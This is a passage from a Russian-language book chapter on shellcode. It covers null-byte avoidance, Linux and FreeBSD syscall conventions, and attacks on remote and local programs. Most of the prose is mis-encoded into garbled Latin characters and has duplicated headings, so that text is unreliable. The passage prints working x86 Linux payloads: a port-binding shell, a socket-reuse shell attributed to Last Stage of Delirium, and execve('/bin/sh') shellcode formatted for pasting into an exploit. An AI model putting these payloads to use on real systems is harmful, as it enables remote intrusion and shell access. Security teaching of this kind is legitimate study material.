Â ïðèìåðàõ âûøå ñòðîêè íå çàâåðøàëèñü íóëåâûì áàéòîì. Ýòî ìîæíî èñ-
ïðàâèòü, äîáàâèâ ïåðåä çàòàëêèâàíèåì ñòðîêè â ñòåê ñëåäóþùèå êîìàíäû:

1 xor eax,eax

2 push byte al

Ñíà÷àëà ìû ñ ïîìîùüþ XOR îáíóëÿåì ðåãèñòð EAX, à çàòåì ïîìåùàåì
â ñòåê ìëàäøèé áàéò ýòîãî ðåãèñòðà. Åñëè äàëåå çàòîëêíóòü ñòðîêó, òî ýòîò
áàéò áóäåò äëÿ íåå çàâåðøàþùèì.

Проблема нулевого байта
Shell-êîä ÷àñòî âíåäðÿåòñÿ â ïðîãðàììó ñ ïîìîùüþ òàêèõ ôóíêöèé, êàê read(),
sprintf() è strcpy(). Áîëüøèíñòâî ôóíêöèé ðàáîòû ñî ñòðîêàìè îæèäàþò, ÷òî
ñòðîêà çàâåðøàåòñÿ íóëåâûì áàéòîì. Åñëè â shell-êîäå âñòðå÷àåòñÿ íóëåâîé
áàéò, òî îí èíòåðïðåòèðóåòñÿ êàê êîíåö ñòðîêè, òàê ÷òî âñå ñëåäóþùèå çà
íèì áàéòû èãíîðèðóþòñÿ. Íî, ê ñ÷àñòüþ, ñóùåñòâóåò íåìàëî ïðèåìîâ, ïî-
çâîëÿþùèõ èçáàâèòüñÿ îò íóëåâûõ áàéòîâ â shell-êîäå.

Åñëè, íàïðèìåð, ìû õîòèì, ÷òîáû shell-êîä ïåðåäàâàë ñèñòåìíîìó âûçîâó
ñòðîêó, òî îíà äîëæíà çàâåðøàòüñÿ íóëåì. Â îáû÷íîé àññåìáëåðíîé ïðîãðàì-
ìå ìû íàïèñàëè áû òàê:

"Hello, world !", 0x00

Íî ïðè ýòîì ïîëó÷èòñÿ shell-êîä, ñîäåðæàùèé íóëåâîé áàéò. Îáîéòè ýòó
ïðîáëåìó ìîæíî, íàïðèìåð, äîáàâëÿÿ çàâåðøàþùèé íóëü âî âðåìÿ èñïîë-
íåíèÿ:

1 xor eax,eax

2 mov byte [ebx + 14],al

Çäåñü ðåãèñòð EBX èñïîëüçóåòñÿ êàê óêàçàòåëü íà ñòðîêó «Hello, world !».
Ìû îáíóëÿåì EAX ñ ïîìîùüþ êîìàíäû XOR, à çàòåì çàïèñûâàåì ìëàäøèé
åãî áàéò AL ïî àäðåñó, îòñòîÿùåìó íà 14 áàéòîâ îò íà÷àëà íàøåé ñòðîêè.
Òåïåðü ñòðîêà «Hello, world !» çàâåðøàåòñÿ íóëåì, íî â shell-êîäå íóëåâîãî
áàéòà íåò.

Проблема нулевого байта
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Ïðè íåïðàâèëüíîì âûáîðå ðåãèñòðîâ èëè òèïîâ äàííûõ ìîæåò ïîëó÷èòüñÿ
shell-êîä, ñîäåðæàùèé íóëåâîé áàéò. Íàïðèìåð, êîìàíäà «mov eax,1» òðàíñëè-
ðóåòñÿ â

mov    eax,0x00000001

ïîñêîëüêó ìû ïîïðîñèëè çàïèñàòü 1 â 32-ðàçðÿäíûé ðåãèñòð EAX. Åñëè áû
âìåñòî EAX ìû èñïîëüçîâàëè AL, òî íóëåâîãî áàéòà íå ïîÿâèëîñü áû.

Реализация системных вызовов
×òîáû ïîíÿòü, êàê îáðàòèòüñÿ ê êîíêðåòíîìó ñèñòåìíîìó âûçîâó èç ïðî-
ãðàììû íà ÿçûêå àññåìáëåðà, ñíà÷àëà ïî÷èòàéòå ñòðàíèöó ðóêîâîäñòâà ïî
ýòîìó âûçîâó, äàáû çíàòü, ÷òî îí äåëàåò, êàêèõ òðåáóåò àðãóìåíòîâ è êàêîå
çíà÷åíèå âîçâðàùàåò. Îäèí èç ñàìûõ ïðîñòûõ ñèñòåìíûõ âûçîâîâ – ýòî exit.
Â ñòðàíèöå ðóêîâîäñòâà äëÿ Linux è FreeBSD ìû ÷èòàåì, ÷òî ñèãíàòóðà ýòîãî
âûçîâà òàêîâà:

void exit(status);

Ñèñòåìíûé âûçîâ íè÷åãî íå âîçâðàùàåò è ïðèíèìàåò îäèí àðãóìåíò òèïà int.
Â àññåìáëåðíûõ ïðîãðàììàõ äëÿ Linux è *BSD ÷òîáû âûçâàòü ÿäðî, íóæíî

âûïîëíèòü êîìàíäó «int 0x80». ßäðî ïðåäïîëàãàåò, ÷òî â ðåãèñòðå EAX íàõî-
äèòñÿ íîìåð ñèñòåìíîãî âûçîâà. Åñëè âûçîâ ñ òàêèì íîìåðîì ñóùåñòâóåò, òî
ÿäðî èçâëå÷åò àðãóìåíòû è âûïîëíèò åãî.

Примечание

Хотя в Linux и *BSD соглашение о вызове ядра одинаково, во многих
других операционных системах, работающих на платформе Intel,
действуют иные правила.

Номера системных вызовов

Êàæäûé ñèñòåìíûé âûçîâ èìååò óíèêàëüíûé íîìåð, èçâåñòíûé ÿäðó. ×àñòî
ýòè íîìåðà íå ïðèâîäÿòñÿ â ñòðàíèöàõ ðóêîâîäñòâà, íî èõ ìîæíî íàéòè
â èñõîäíûõ òåêñòàõ ÿäðà è çàãîëîâî÷íûõ ôàéëàõ. Â Linux íîìåðà âñåõ ñèñòåì-
íûõ âûçîâîâ ïðèâåäåíû â çàãîëîâî÷íîì ôàéëå syscall.h, à â FreeBSD èõ ìîæíî
íàéòè â ôàéëå unistd.h.
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Àðãóìåíòû ñèñòåìíûõ âûçîâîâÀðãóìåíòû ñèñòåìíûõ âûçîâîâÀðãóìåíòû ñèñòåìíûõ âûçîâîâÀðãóìåíòû ñèñòåìíûõ âûçîâîâÀðãóìåíòû ñèñòåìíûõ âûçîâîâ
Ñïîñîá ïåðåäà÷è àðãóìåíòîâ ñèñòåìíîìó âûçîâó çàâèñèò îò ñèñòåìû. Íàïðè-
ìåð, FreeBSD îæèäàåò, ÷òî àðãóìåíòû áóäóò ïîìåùåíû â ñòåê, òîãäà êàê
Linux òðåáóåò, ÷òîáû àðãóìåíòû ïåðåäàâàëèñü â ðåãèñòðàõ. ×òîáû óçíàòü, êàê
ïåðåäàâàòü àðãóìåíòû ñèñòåìíîìó âûçîâó â àññåìáëåðíîé ïðîãðàììå, ñíà÷àëà
îáðàòèòåñü ê ñòðàíèöå ðóêîâîäñòâà.

Äëÿ èëëþñòðàöèè ïîëîæåíèÿ äåë ìû ïðèâåäåì ðåàëèçàöèþ îáðàùåíèÿ
ê ñèñòåìíîìó âûçîâó exit äëÿ Linux è FreeBSD. Â ïðèìåðå 8.6 ïðåäñòàâëåí
ïðèìåð äëÿ ÎÑ Linux:

Пример 8.6. Пример 8.6. Пример 8.6. Пример 8.6. Пример 8.6. Системный вызов в Linux
1 xor eax,eax

2 xor ebx,ebx

3 mov al,1

4 int 0x80

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Ñíà÷àëà ìû ñ ïîìîùüþ êîìàíäû XOR îáíóëÿåì ðåãèñòðû, êîòîðûå íàì ïî-
íàäîáÿòñÿ (ñòðîêè 1 è 3). XOR âûïîëíÿåò îïåðàöèþ ïîáèòîâîãî ÈÑÊËÞ×À-
ÞÙÅÃÎ ÈËÈ íàä ñâîèìè îïåðàíäàìè (â äàííîì ñëó÷àå ðåãèñòðàìè) è âîç-
âðàùàåò ðåçóëüòàò â ïåðâîì îïåðàíäå. Ïóñòü, íàïðèìåð, ðåãèñòð EAX ñîäåð-
æèò çíà÷åíèå 11001100:

11001100
11001100
—————  XOR
00000000

Î÷èñòèâ ðåãèñòð EAX, â êîòîðîì áóäåò ïåðåäàí íîìåð ñèñòåìíîãî âûçîâà,
ìû òî÷íî òàêæå î÷èùàåì ðåãèñòð EBX, â êîòîðîì ïåðåäàåòñÿ àðãóìåíò status.
Ïîñêîëüêó ìû õîòèì âûïîëíèòü exit(0), òî íà ýòîì èíèöèàëèçàöèþ ðåãèñòðà
EBX ìîæíî ñ÷èòàòü çàêîí÷åííîé. Åñëè áû íóæíî áûëî âûïîëíèòü, íàïðè-
ìåð, exit(1), òî ïîñëå êîìàíäû «xor ebx,ebx» ìîæíî áûëî áû âûïîëíèòü êî-
ìàíäó «inc ebx». Êîìàíäà INC óâåëè÷èâàåò çíà÷åíèå ñâîåãî îïåðàíäà (ðåãèñòðà
EBX) íà åäèíèöó. Ïîäãîòîâèâ àðãóìåíò, ìû ïîìåùàåì íîìåð ñèñòåìíîãî âû-
çîâà â ðåãèñòð AL è âûçûâàåì ÿäðî. ßäðî ïðî÷èòàåò çíà÷åíèå, õðàíÿùååñÿ
â ðåãèñòðå AX, è âûïîëíèò íóæíûé íàì ñèñòåìíûé âûçîâ.

Примечание

Мы помещаем номер системного вызова в регистр AL, а не в AX или
EAX, поскольку во избежание появления нулевых байтов всегда сле�
дует использовать самый «узкий» из возможных регистров.

Реализация системных вызовов
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Ïðåæäå ÷åì ïåðåõîäèòü ê ðåàëèçàöèè ñèñòåìíîãî âûçîâà exit â ñèñòåìå
FreeBSD, ðàññìîòðèì ñîãëàøåíèå î ïåðåäà÷å ïàðàìåòðîâ â ýòîé ÎÑ ïîäðîá-
íåå. ßäðî FreeBSD ïðåäïîëàãàåò, ÷òî êîìàíäà «int 0x80» âûçûâàåòñÿ êàê
ôóíêöèÿ, ïîýòîìó îíî îæèäàåò, ÷òî â ñòåêå áóäóò íå òîëüêî àðãóìåíòû ñèñ-
òåìíîãî âûçîâà, íî è àäðåñ âîçâðàòà. Ýòî î÷åíü óäîáíî â îáû÷íûõ àññåìá-
ëåðíûõ ïðîãðàììàõ, íî ïëîõî äëÿ shell-êîäà, òàê êàê â ñòåê ïðèõîäèòñÿ ïî-
ìåùàòü ëèøíèå ÷åòûðå áàéòà. Â ïðèìåðå 8.7 ïîêàçàíà ðåàëèçàöèÿ ñèñòåìíî-
ãî âûçîâà exit(0) äëÿ FreeBSD:

Пример 8.7. Пример 8.7. Пример 8.7. Пример 8.7. Пример 8.7. Системный вызов в FreeBSD
1 kernel:

2 int 0x80

3 ret

4 code:

5 xor eax,eax

6 push eax

7 mov al,1

8 call kernel

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Äëÿ íà÷àëà ìû îáíóëÿåì ðåãèñòð EAX. Çàòåì ïîìåùàåì EAX â ñòåê, òàê êàê
íóëü – ýòî è åñòü çíà÷åíèå àðãóìåíòà ñèñòåìíîãî âûçîâà exit. Çàòåì ìû ïîìå-
ùàåì 1 â AL, ÷òîáû ÿäðî çíàëî, êàêîé ñèñòåìíûé âûçîâ âûïîëíÿòü. È äàëåå
ÿäðî âûçûâàåòñÿ êàê ôóíêöèÿ. Êîìàíäà call ïîìåùàåò çíà÷åíèå ñ÷åò÷èêà êî-
ìàíä (EIP) â ñòåê è ïåðåõîäèò íà ìåòêó code, ãäå íàõîäèòñÿ êîìàíäà âûçîâà
ÿäðà. Åñëè áû ñèñòåìíûé âûçîâ exit íå çàâåðøàë ïðîãðàììó, òî ÿäðî âûïîë-
íèëî áû êîìàíäó ret, êîòîðàÿ èçâëåêëà áû àäðåñ âîçâðàòà èç ñòåêà è ïåðåøëà
áû ïî íåìó.

Â áîëüøèõ ïðîãðàììàõ ìåòîä, ïîêàçàííûé â ïðèìåðå 8.7, âïîëíå ïðèåì-
ëåì. Íî â shell-êîäå îòäåëüíàÿ ôóíêöèÿ äëÿ âûçîâà ÿäðà ñ÷èòàåòñÿ ëèøíèì è
íàêëàäíûì ðàñõîäîì, ïîýòîìó ìû ýòîãî äåëàòü íå áóäåì. Â ïðèìåðå 8.8 ïðî-
äåìîíñòðèðîâàíî, êàê ìîæíî îáðàùàòüñÿ ê ñèñòåìíûì âûçîâàì â ìàëåíü-
êèõ ïðîãðàììàõ, ê ÷èñëó êîòîðûõ îòíîñèòñÿ è shell-êîä:

Пример 8.8. Пример 8.8. Пример 8.8. Пример 8.8. Пример 8.8. Обращение к системному вызову
1 xor eax,eax

2 push eax

3 push eax

4 mov al,1

5 int 0x80

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Ñíà÷àëà ìû îáíóëÿåì ðåãèñòð EAX è ïîìåùàåì åãî çíà÷åíèå â ñòåê. Ýòî áó-
äåò àðãóìåíò ñèñòåìíîãî âûçîâà. Çàòåì ìû ñíîâà ïîìåùàåì EAX â ñòåê, íî íà
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ñåé ðàç ïðîñòî ïîòîìó, ÷òî FreeBSD îæèäàåò, ÷òî ïåðåä àðãóìåíòàìè â ñòåêå
íàõîäèòñÿ åùå ÷åòûðå áàéòà (àäðåñ âîçâðàòà). Çàòåì ìû ïîìåùàåì â AL íî-
ìåð ñèñòåìíîãî âûçîâà è âûçûâàåì ÿäðî êîìàíäîé «int 0x80».

Çíà÷åíèå, âîçâðàùàåìîå ñèñòåìíûì âûçîâîìÇíà÷åíèå, âîçâðàùàåìîå ñèñòåìíûì âûçîâîìÇíà÷åíèå, âîçâðàùàåìîå ñèñòåìíûì âûçîâîìÇíà÷åíèå, âîçâðàùàåìîå ñèñòåìíûì âûçîâîìÇíà÷åíèå, âîçâðàùàåìîå ñèñòåìíûì âûçîâîì
Çíà÷åíèå, êîòîðîå âîçâðàùàåò ñèñòåìíûé âûçîâ, ÷àùå âñåãî ïîìåùàåòñÿ
â ðåãèñòð EAX. Íî åñòü è èñêëþ÷åíèÿ, íàïðèìåð, â ñèñòåìå FreeBSD âûçîâ
fork() ïîìåùàåò âîçâðàùàåìûå çíà÷åíèÿ â äðóãèå ðåãèñòðû.

×òîáû óçíàòü, ãäå èñêàòü âîçâðàùàåìîå ñèñòåìíûì âûçîâîì çíà÷åíèå, îá-
ðàòèòåñü ê ñòðàíèöå ðóêîâîäñòâà èëè ïîñìîòðèòå, êàê ýòî ðåàëèçîâàíî
â èñõîäíûõ òåêñòàõ áèáëèîòåêè l ibc. Ìîæíî  òàêæå  ñ ïîìîùüþ ïîèñêîâîé ìà-
øèíû ïîïðîáîâàòü íàéòè ïðèìåð àññåìáëåðíîãî êîäà, â êîòîðîì ðåàëèçîâàí
èíòåðåñóþùèé âàñ ñèñòåìíûé âûçîâ. Íà êðàéíèé ñëó÷àé ìîæåòå ðåàëèçîâàòü
îáðàùåíèå ê ñèñòåìíîìó âûçîâó èç ïðîãðàììû íà C, à çàòåì äèçàññåìáëèðî-
âàòü äâîè÷íûé ôàéë ñ ïîìîùüþ gdb èëè objdump.

Внедрение shell�кода
в удаленную программу
Åñëè âû ñîáèðàåòåñü àòàêîâàòü óäàëåííûé õîñò, òî äëÿ ïîëó÷åíèÿ êîíòðîëÿ
íàä íèì åñòü ìàññà âîçìîæíîñòåé. Ïðåæäå âñåãî îáû÷íî ïðîáóþò âûïîë-
íèòü ïðîñòåéøèé êîä ñ îáðàùåíèåì ê ñèñòåìíîìó âûçîâó exec è ñìîòðÿò, áó-
äåò ëè ýòî ðàáîòàòü äëÿ äàííîãî ñåðâåðà. Åñëè ñåðâåð ïðîäóáëèðîâàë äåñê-
ðèïòîð ñîêåòà íà stdin è stdout, òî òàêîé shell-êîä ïðåêðàñíî ñðàáîòàåò. Íî
òàê áûâàåò íå âñåãäà. Â ýòîì ðàçäåëå ìû ðàññìîòðèì äðóãèå ìåòîäû àòàêè íà
óäàëåííûå óÿçâèìûå ñèñòåìû.

Shell3код для привязки к порту

Îäèí èç ñàìûõ ðàñïðîñòðàíåííûõ shell-êîäîâ äëÿ àòàêè íà óäàëåííóþ óÿçâè-
ìóþ ñèñòåìó ïðîñòî ïðèâÿçûâàåò èíòåðïðåòàòîð êîìàíä (åãî òàêæå íàçûâà-
þò îáîëî÷êîé, shell) ê ïîðòó ñ áîëüøèì íîìåðîì. Ýòî ïîçâîëÿåò àòàêóþùå-
ìó ñîçäàòü íà óäàëåííîì õîñòå ñåðâåð, êîòîðûé ïðè ñîåäèíåíèè ñ íèì áóäåò
çàïóñòèò îáîëî÷êó. Õîòÿ ýòîò ïðèìåð ñîâñåì ïðèìèòèâåí, çàòî ëåãêî ðåàëè-
çóåòñÿ â âèäå shell-êîäà. Íà ÿçûêå C ñîîòâåòñòâóþùàÿ ïðîãðàììà âûãëÿäèò
ñëåäóþùèì îáðàçîì:

Пример 8.9.Пример 8.9.Пример 8.9.Пример 8.9.Пример 8.9. Shell*код для привязки к порту
1 int main(void)

2 {

Внедрение shell�кода в удаленную программу
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 3   int new, sockfd = socket(AF_INET, SOCK_STREAM, 0);

 4   struct sockaddr_in sin;

 5   sin.sin_family = AF_INET;

 6   sin.sin_addr.s_addr = 0;

 7   sin.sin_port = htons(12345);

 8   bind(sockfd, (struct sockaddr *)&sin, sizeof(sin));

 9   listen(sockfd, 5);

10   new = accept(sockfd, NULL, 0);

11   for(i = 2; i >= 0; i—)

12     dup2(new, i);

13   execl("/bin/sh", "sh", NULL);

14 }

Èññëåäîâàòåëüñêàÿ ãðóïïà Last Stage of Del irium  (Ïîñëåäíÿÿ ñòàäèÿ áåëîé
ãîðÿ÷êè) íàïèñàëà ÷èñòûé shell-êîä äëÿ ïðèâÿçûâàíèÿ ê ïîðòó â Linux. Shell-
êîä íàçûâàåòñÿ ÷èñòûì, åñëè îí íå ñîäåðæèò íóëåâûõ áàéòîâ. Êàê îáúÿñíÿ-
ëîñü âûøå, íóëåâûå áàéòû ïðåïÿòñòâóþò êîððåêòíîé àòàêå íà óÿçâèìîñòè,
ñâÿçàííûå ñ ïåðåïîëíåíèåì áóôåðà, òàê êàê áàéòû shell-êîäà ïîñëå ïåðâîãî
íóëÿ íå êîïèðóþòñÿ. Â ïðèìåðå 8.10 ïðèâåäåí ÷èñòûé shell-êîä.

Пример 8.10. Пример 8.10. Пример 8.10. Пример 8.10. Пример 8.10. Shell*код bindsckcode
 1 char bindsckcode[]= /* 73 áàéòà */

 2     "\x33\xc0" /* xorl    %eax,%eax */

 3     "\x50" /* pushl   %eax */

 4     "\x68\xff\x02\x12\x34"/* pushl   $0x341202ff */

 5     "\x89\xe7" /* movl    %esp,%edi */

 6     "\x50" /* pushl   %eax */

 7     "\x6a\x01" /* pushb   $0x01 */

 8     "\x6a\x02" /* pushb   $0x02 */

 9     "\x89\xe1" /* movl    %esp,%ecx */

10     "\xb0\x66" /* movb    $0x66,%al */

11     "\x31\xdb" /* xorl    %ebx,%ebx */

12     "\x43" /* incl    %ebx */

13     "\xcd\x80" /* int     $0x80 */

14     "\x6a\x10" /* pushb   $0x10 */

15     "\x57" /* pushl   %edi */

16     "\x50" /* pushl   %eax */

17     "\x89\xe1" /* movl    %esp,%ecx */

18     "\xb0\x66" /* movb    $0x66,%al */

19     "\x43" /* incl    %ebx */

20     "\xcd\x80" /* int     $0x80 */

21     "\xb0\x66" /* movb    $0x66,%al */

22     "\xb3\x04" /* movb    $0x04,%bl */

23     "\x89\x44\x24\x04" /* movl    %eax,0x4(%esp) */

24     "\xcd\x80" /* int     $0x80 */

25     "\x33\xc0" /* xorl    %eax,%eax */

26     "\x83\xc4\x0c" /* addl    $0x0c,%esp */
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27     "\x50" /* pushl   %eax */

28     "\x50" /* pushl   %eax */

29     "\xb0\x66" /* movb    $0x66,%al */

30     "\x43" /* incl    %ebx */

31     "\xcd\x80" /* int     $0x80 */

32     "\x89\xc3" /* movl    %eax,%ebx */

33     "\x31\xc9" /* xorl    %ecx,%ecx */

34     "\xb1\x03" /* movb    $0x03,%cl */

35     "\x31\xc0" /* xorl    %eax,%eax */

36     "\xb0\x3f" /* movb    $0x3f,%al */

37     "\x49" /* decl    %ecx */

38     "\xcd\x80" /* int     $0x80 */

39     "\x41" /* incl    %ecx */

40     "\xe2\xf6"; /* loop    <bindsckcode+63> */

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Ýòîò êîä ïðîñòî ïðèâÿçûâàåò ñîêåò ê ïîðòó ñ áîëüøèì íîìåðîì (â äàííîì
ñëó÷àå 12345) è âûïîëíÿåò èíòåðïðåòàòîð êîìàíä, êîãäà ïðèõîäèò çàïðîñ íà
ñîåäèíåíèå. Òåõíèêà ðàñïðîñòðàíåííàÿ, íî íåáåçóïðå÷íàÿ. Åñëè íà àòàêóåìîì
õîñòå óñòàíîâëåí ìåæñåòåâîé ýêðàí, êîòîðûé ïî óìîë÷àíèþ íå ðàçðåøàåò
ñîåäèíåíèÿ íè ñ êàêèìè ïîðòàìè, êðîìå ÿâíî îòêðûòûõ, òî àòàêóþùèé íå
ñìîæåò «ïîëó÷èòü shell».

Shell3код для использования

существующего дескриптора сокета

Âûáèðàÿ shell-êîä äëÿ ñâîåãî ýêñïëîéòà, âñåãäà ñëåäóåò ïðåäïîëàãàòü, ÷òî íà
õîñòå áóäåò óñòàíîâëåí ìåæñåòåâîé ýêðàí, îòâåðãàþùèé ñîåäèíåíèÿ ñî âñå-
ìè ïîðòàìè, êðîìå ðàçðåøåííûõ. Â òàêîé ñèòóàöèè shell-êîä, ïðèâÿçûâàþ-
ùèé èíòåðïðåòàòîð êîìàíä ê ïîðòó, – íå ëó÷øåå ðåøåíèå. Ìîæíî âìåñòî
ýòîãî âîñïîëüçîâàòüñÿ óæå èìåþùèìñÿ äåñêðèïòîðîì ñîêåòîì, à íå ñîçäà-
âàòü íîâûé.

Ñëåäóþùèé shell-êîä ïðîñìàòðèâàåò âñþ òàáëèöó äåñêðèïòîðîâ â ïîèñêàõ
íóæíîãî ñîêåòà. Åñëè ïîäõîäÿùèé ñîêåò íàéäåí, òî åãî äåñêðèïòîð äóáëèðó-
åòñÿ íà stdin è stdout, ïîñëå ÷åãî ìîæíî âûïîëíÿòü èíòåðïðåòàòîð êîìàíä.
Â ïðèìåðå 8.11 ïîêàçàíà ñîîòâåòñòâóþùàÿ ïðîãðàììà íà C.

Пример 8.11.Пример 8.11.Пример 8.11.Пример 8.11.Пример 8.11. Shell*код для использования существующего дескриптора сокета
1 int main(void)

2 {

3   int i, j;

4
5   j = sizeof(sockaddr_in);

6   for(i = 0; i < 256; i++) {

Внедрение shell�кода в удаленную программу
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 7     if (getpeername(i, &sin, &j) < 0)

 8        continue;

 9     if (sin.sin_port == htons(port))

10        break;

11   }

12   for(j = 0; j < 2; j++)

13     dup2(j, i);

14   execl("/bin/sh", "sh", NULL);

15 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Çäåñü äëÿ êàæäîãî äåñêðèïòîðà âûçûâàåòñÿ ôóíêöèÿ getpeername(). Åñëè îíà
âîçâðàùàåò îòðèöàòåëüíîå çíà÷åíèå, òî ýòî íå ñîêåò, è ìû ïåðåõîäèì ê ñëå-
äóþùåìó äåñêðèïòîðó. Åñëè ýòî ñîêåò, òî ìû ñìîòðèì, ñîâïàäàåò ëè óäàëåí-
íûé ïîðò ñ èíòåðåñóþùèì íàñ. Åñëè ýòî òàê, òî äåñêðèïòîð ñîêåòà äóáëèðóåòñÿ
íà stdin è stdout, ïîñëå ÷åãî çàïóñêàåòñÿ èíòåðïðåòàòîð êîìàíä. Ýòîò shell-êîä
íå íóæäàåòñÿ â íîâîì ñîåäèíåíèè äëÿ ïîëó÷åíèÿ îáîëî÷êè. Èíòåðïðåòàòîð
êîìàíä çàïóñêàåòñÿ íà òîì ïîðòó, ÷åðåç êîòîðûé âåäåòñÿ àòàêà. Â ïðèìåðå
8.12 ïðåäñòàâëåí ÷èñòûé shell-êîä äëÿ èñïîëüçîâàíèÿ ñóùåñòâóþùåãî äåñê-
ðèïòîðà ñîêåòà, íàïèñàííûé ãðóïïîé Last Stage of Del irium.

Пример 8.12. Пример 8.12. Пример 8.12. Пример 8.12. Пример 8.12. Shell*код findsckcode
 1 char findsckcode[]= /* 72 áàéòà */

 2     "\x31\xdb" /* xorl    %ebx,%ebx */

 3     "\x89\xe7" /* movl    %esp,%edi */

 4     "\x8d\x77\x10" /* leal    0x10(%edi),%esi */

 5     "\x89\x77\x04" /* movl    %esi,0x4(%edi) */

 6     "\x8d\x4f\x20" /* leal    0x20(%edi),%ecx */

 7     "\x89\x4f\x08" /* movl    %ecx,0x8(%edi) */

 8     "\xb3\x10" /* movb    $0x10,%bl */

 9     "\x89\x19" /* movl    %ebx,(%ecx) */

10     "\x31\xc9" /* xorl    %ecx,%ecx */

11     "\xb1\xff" /* movb    $0xff,%cl */

12     "\x89\x0f" /* movl    %ecx,(%edi) */

13     "\x51" /* pushl   %ecx */

14     "\x31\xc0" /* xorl    %eax,%eax */

15     "\xb0\x66" /* movb    $0x66,%al */

16     "\xb3\x07" /* movb    $0x07,%bl */

17     "\x89\xf9" /* movl    %edi,%ecx */

18     "\xcd\x80" /* int     $0x80 */

19     "\x59" /* popl    %ecx */

20     "\x31\xdb" /* xorl    %ebx,%ebx */

21     "\x39\xd8" /* cmpl    %ebx,%eax */

22     "\x75\x0a" /* jne     <findsckcode+54> */

23     "\x66\xb8\x12\x34" /* movw    $0x1234,%bx */

24     "\x66\x39\x46\x02" /* cmpw    %bx,0x2(%esi) */

25     "\x74\x02" /* je      <findsckcode+56> */
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26     "\xe2\xe0" /* loop    <findsckcode+24> */

27     "\x89\xcb" /* movl    %ecx,%ebx */

28     "\x31\xc9" /* xorl    %ecx,%ecx */

29     "\xb1\x03" /* movb    $0x03,%cl */

30     "\x31\xc0" /* xorl    %eax,%eax */

31     "\xb0\x3f" /* movb    $0x3f,%al */

32     "\x49" /* decl    %ecx */

33     "\xcd\x80" /* int     $0x80 */

34     "\x41" /* incl    %ecx */

35     "\xe2\xf6"; /* loop    <findsckcode+62> */

Внедрение shell�кода
в локальную программу
Shell-êîä ìîæíî âíåäðÿòü íå òîëüêî â óäàëåííûå, íî è â ëîêàëüíî èñïîëíÿ-
åìûå ïðîãðàììû. Ðàçíèöà â òîì, ÷òî ëîêàëüíûé shell-êîä íå âûïîëíÿåò íè-
êàêèõ ñåòåâûõ îïåðàöèé. Åãî öåëü îáû÷íî ñîñòîèò â òîì, ÷òîáû çàïóñòèòü
èíòåðïðåòàòîð êîìàíä, ïîâûñèòü ïðèâèëåãèè àòàêóþùåãî èëè âûéòè çà ïðå-
äåëû ÷àñòè ôàéëîâîé ñèñòåìû, îãðàíè÷åííîé ñèñòåìíûì âûçîâîì chroot.
Â ýòîì ðàçäåëå ìû ðàññìîòðèì âñå ýòè âàðèàíòû.

Shell3код, выполняющий execve

Ñàìûé ïðîñòîé shell-êîä âûïîëíÿåò ñèñòåìíûé âûçîâ execve. Òàêèì îáðàçîì,
îí ïðèçâàí âûïîëíèòü êàêèå-òî êîìàíäû â àòàêóåìîé ñèñòåìå, îáû÷íî /bin/
sh. Âîò êàê âûãëÿäèò ñèãíàòóðà ôóíêöèè execve íà ÿçûêå C:

int execve(const char *filename, char *const argv[], char* const envp[]);

Áîëüøàÿ ÷àñòü ýêñïëîéòîâ ñîäåðæèò òîò èëè èíîé âàðèàíò ïîêàçàííîãî
íèæå shell-êîäà. Ïàðàìåòð filename – ýòî óêàçàòåëü íà ñòðîêó, ñîäåðæàùóþ
èìÿ ôàéëà èñïîëíÿåìîé ïðîãðàììû. Ïàðàìåòð argv[] ñîäåðæèò ñïèñîê àðãó-
ìåíòîâ, ïåðåäàâàåìûõ ýòîé ïðîãðàììå, à ïàðàìåòð envp[] – ñïèñîê ïåðåìåí-
íûõ îêðóæåíèÿ, óñòàíàâëèâàåìûõ ïåðåä çàïóñêîì ïðîãðàììû.

Ïðåæäå ÷åì ïðèñòóïàòü ê ñîçäàíèþ shell-êîäà, íàïèøåì íåáîëüøóþ ïðî-
ãðàììó íà C, êîòîðàÿ áóäåò ðåøàòü ïîñòàâëåííóþ çàäà÷ó. Â ïðèìåðå 8.13 ñ ïî-
ìîùüþ ñèñòåìíîãî âûçîâà execve çàïóñêàåòñÿ èíòåðïðåòàòîð êîìàíä /bin/sh.

Пример 8.13. Пример 8.13. Пример 8.13. Пример 8.13. Пример 8.13. Запуск /bin/sh
1 int main(void)

2 {

Внедрение shell�кода в локальную программу
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3   char *argv[2];

4
5   argv[0] = "/bin/sh";

6   argv[1] = NULL;

7
8   execve("/bin/sh", arg, NULL);

9 }

Â ïðèìåðå 8.14 ïðåäñòàâëåí ðåçóëüòàò ïåðåâîäà ýòîé ïðîãðàììû íà ÿçûê
àññåìáëåðà. Êîä îïòèìèçèðîâàí äëÿ óìåíüøåíèÿ ðàçìåðà è èç íåãî óäàëåíû
íóëåâûå áàéòû.

Пример 8.14.Пример 8.14.Пример 8.14.Пример 8.14.Пример 8.14. Shell*код на языке ассемблера
 1 .global main

 2
 3 main:

 4 xorl %edx, %edx

 5
 6 pushl %edx

 7 pushl $0x68732f2f

 8 pushl $0x6e69622f

 9
10 movl %esp, %ebx

11
12 pushl %edx

13 pushl %ebx

14
15 movl %esp, %ecx

16
17 leal 11(%edx), %eax

18 int $0x80

Ïîñëå àññåìáëèðîâàíèÿ ïðîãðàììû èç ïðèìåðà 8.14 ìû ñ ïîìîùüþ gdb
èçâëåêàåì áàéòû êîäà è ïîìåùàåì èõ â ìàññèâ, êîòîðûé ïîçæå áóäåò âñòàâëåí
â òåêñò ýêñïëîéòà. Ðåçóëüòàò ïðåäñòàâëåí â ïðèìåðå 8.15.

Пример 8.15. Пример 8.15. Пример 8.15. Пример 8.15. Пример 8.15. Shell*код в виде, пригодном для вставки в эксплойт
1 const char execve[] =

2   "\x31\xd2" /* xorl %edx, %edx */

3   "\x52" /* pushl %edx */

4   "\x68\x2f\x2f\x73\x68" /* pushl $0x68732f2f */

5   "\x68\x2f\x62\x69\x6e" /* pushl $0x6e69622f */

6   "\x89\xe3" /* movl %esp, %ebx */

7   "\x52" /* pushl %edx */

8   "\x53" /* pushl %ebx */
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9   "\x89\xe1" /* movl %esp, %ecx */

10   "\x8d\x42\x0b" /* leal 0xb(%edx), %eax */

11   "\xcd\x80" /* int $0x80 */

Ýòîò îïòèìèçèðîâàííûé shell-êîä çàíèìàåò âñåãî 24 áàéòà è íå ñîäåðæèò
